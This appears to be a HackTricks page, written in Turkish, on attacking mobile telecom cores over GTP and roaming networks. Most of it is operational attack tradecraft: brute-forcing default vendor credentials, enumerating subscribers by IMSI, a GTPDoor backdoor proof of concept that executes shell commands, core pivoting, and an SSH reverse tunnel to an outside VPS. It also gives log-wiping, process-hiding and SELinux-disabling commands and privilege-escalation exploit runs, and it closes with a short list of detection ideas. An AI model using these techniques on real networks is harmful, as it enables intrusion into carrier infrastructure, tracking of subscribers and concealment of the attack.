Telekom Ağı İstismarı (GTP / Roaming Ortamları)

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

note

Mobil çekirdek protokolleri (GPRS Tünelleme Protokolü – GTP) genellikle yarı güvenilir GRX/IPX roaming omurgalarından geçer. Çünkü neredeyse hiç kimlik doğrulama olmadan düz UDP üzerinde çalışırlar, bir telekom perimetrinin içindeki herhangi bir ayak izi genellikle çekirdek sinyalleme katmanlarına doğrudan ulaşabilir. Aşağıdaki notlar, SGSN/GGSN, PGW/SGW ve diğer EPC düğümlerine karşı doğada gözlemlenen saldırgan teknikleri toplamaktadır.

1. Keşif & İlk Erişim

1.1 Varsayılan OSS / NE Hesapları

Şaşırtıcı derecede büyük bir tedarikçi ağ elemanları seti, root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser gibi sabit kodlanmış SSH/Telnet kullanıcıları ile birlikte gelir. Özel bir kelime listesi, kaba kuvvet başarısını dramatik şekilde artırır:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Eğer cihaz yalnızca bir yönetim VRF'si sunuyorsa, önce bir jump host üzerinden geçin (aşağıdaki «SGSN Emu Tunnel» bölümüne bakın).

1.2 GRX/IPX İçinde Host Keşfi

Çoğu GRX operatörü hala omurga boyunca ICMP echo'ya izin vermektedir. GTP-C dinleyicilerini hızlı bir şekilde haritalamak için masscan'i yerleşik gtpv1 UDP probeleri ile birleştirin:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Abone Sayımı – cordscan

Aşağıdaki Go aracı GTP-C PDP Bağlantı Oluşturma İsteği paketleri oluşturur ve yanıtları kaydeder. Her yanıt, sorgulanan IMSI'yi hizmet veren mevcut SGSN / MME'yi ve bazen de abonenin ziyaret ettiği PLMN'yi ortaya çıkarır.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Ana bayraklar:

  • --imsi Hedef abone IMSI
  • --oper Ev / HNI (MCC+MNC)
  • -w Ham paketleri pcap'a yaz

İkili dosya içindeki önemli sabitler, taramaları genişletmek için yamanabilir:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. GTP Üzerinden Kod Çalıştırma – GTPDoor

GTPDoor, UDP 2123'ü bağlayan ve her gelen GTP-C paketini ayrıştıran küçük bir ELF hizmetidir. Yük, önceden paylaşılan bir etiketle başlarsa, geri kalanı (AES-128-CBC) şifre çözülür ve /bin/sh -c aracılığıyla çalıştırılır. stdout/stderr, dışarıya hiçbir oturum oluşturulmadan Echo Response mesajları içinde dışarıya aktarılır.

Minimal PoC paketi (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detection:

  • herhangi bir hostun dengesiz Echo İstekleri göndermesi SGSN IP'lerine
  • GTP versiyon bayrağı 1 olarak ayarlandığında mesaj türü = 1 (Echo) – spesifikasyondan sapma

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN, gerçek bir GGSN/PGW'ye doğru bir PDP bağlamı kurabilen bir SGSN emülatörü ile birlikte gelir. Müzakere edildikten sonra, Linux, dolaşım eşinden erişilebilen yeni bir tun0 arayüzü alır.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Doğru bir güvenlik duvarı hair-pinning ile, bu tünel yalnızca sinyalizasyon olan VLAN'ları atlar ve sizi doğrudan veri düzlemine yönlendirir.

4.2 Port 53 Üzerinde SSH Ters Tünel

DNS, dolaşım altyapılarında neredeyse her zaman açıktır. İç bir SSH hizmetini VPS'inize :53 üzerinde dinleyecek şekilde açın ve daha sonra evden geri dönün:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

GatewayPorts yes'un VPS'de etkin olduğunu kontrol edin.

5. Gizli Kanallar

KanalTaşımaKod ÇözmeNotlar
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte anahtar + 14-byte parçalar (XOR)tamamen pasif dinleyici, dışa trafik yok
DNS – NoDepDNSUDP 53A-kayıt oktetlerinde kodlanmış XOR (anahtar = funnyAndHappy)*.nodep alt alanını izler
GTP – GTPDoorUDP 2123özel IE'de AES-128-CBC blobmeşru GTP-C sohbeti ile karışır

Tüm implantlar, ikili dosyalarını timestomp eden ve çökmesi durumunda yeniden başlatan izleyiciler uygular.

6. Savunma Kaçış Kılavuzu

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Eski NE'de Yetki Yükseltme

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Temizlik ipucu:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Araç Kutusu

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – önceki bölümlerde tanımlanan özel araçlar.
  • FScan : intranet TCP taramaları (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS sahte WPAD
  • Microsocks + ProxyChains : hafif SOCKS5 pivotlama
  • FRP (≥0.37) : NAT geçişi / varlık köprüleme

Tespit Fikirleri

  1. Create PDP Context Requests oluşturan SGSN/GGSN dışındaki herhangi bir cihaz.
  2. İç IP'lerden SSH el sıkışmaları alan standart dışı portlar (53, 80, 443).
  3. Karşılık gelen Echo Yanıtları olmadan sık sık Echo İstekleri – GTPDoor işaretlerini gösterebilir.
  4. Büyük, sıfır olmayan tanımlayıcı/sıra alanları ile yüksek ICMP echo-reply trafiği oranı.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin